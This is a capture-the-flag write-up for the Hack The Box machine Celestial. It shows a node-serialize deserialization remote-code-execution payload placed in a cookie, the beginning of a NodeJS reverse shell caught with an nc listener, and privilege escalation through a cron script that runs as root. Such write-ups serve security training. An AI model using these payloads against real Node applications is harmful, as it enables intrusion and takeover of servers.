Writeup: Hack The Box - Machines - Celestial
Description
- Name:
Celestial
- IP:
10.10.10.85
- Author:
3ndG4me
- Difficulty:
3.7/10
Discovery
nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.85
1 | PORT STATE SERVICE VERSION |
Pwn
The server running on port 3000 is the default for the NodeJs Express library. The default behaviour is:
- get
/
- if is no cookie is set then create a cookie with this value:
profile="eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==
that decode in{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
; - else prints
Hey Dummy 2 + 2 is 22
.
We can see that username
and num
fields are printed on the page but the latter is somehow managed by the application to return its sum (is JS "2" + "2" = "22"
).
After some trial and error we managed to get some informations from the application just inserting some JavaScript code in the num
field:
1 | <pre>SyntaxError: Unexpected token }<br> at Object.exports.unserialize (/home/sun/node_modules/node-serialize/lib/serialize.js:75:69)<br> at /home/sun/server.js:11:24<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at /home/sun/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)</pre> |
The input from the cookie is unserialized and the printed out as a sum num + num
.
We then found that is possible to exploit this behaviour sending a serialized function to the application, the payload string should begin with _$$ND_FUNC$$_
and using the immediately invoked function expression for JS is possible to run this function.
We then tried the example from the article:
1 | {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', (err, stdout) => { console.log(stdout) }); }()"} |
without success…
Since the username
is printed on the response we changed payload and cookie field to inject the exploit:
1 | #!/usr/bin/env python3 |
Since we don’t want to use console.log
using execSync
we get the output of the command as a string ([object Object].toString()
).
The exploit worked!
We can now read the user flag:
We exfiltrated also the server.js
script which is the one that manage our requests
1 | var express = require('express'); |
For the root flag we need a shell to perform further analysis on the machine so with a NodeJS script we created a reverse shell payload to run through the web application:
1 | var rev_shell = `var net = require('net'); |
This script prints the payload to send in the num
field, the complete script now is:
1 | #!/usr/bin/env python3 |
The web application will returns An error occurred...invalid username type
but on our nc -lvp 3487
we got the shell!
and a bash
shell
Now we saw that the home file output.txt
is created from root
and then chown
-ed to sun
user.
grep
-ing on the running processes we got that the script is runned by root
.
We then edited (user sun
can wrote to it) the script.py
to print the root flag
After 5 minutes (the script run every 5 minutes) we got the root
flag in /home/sun/output.txt
file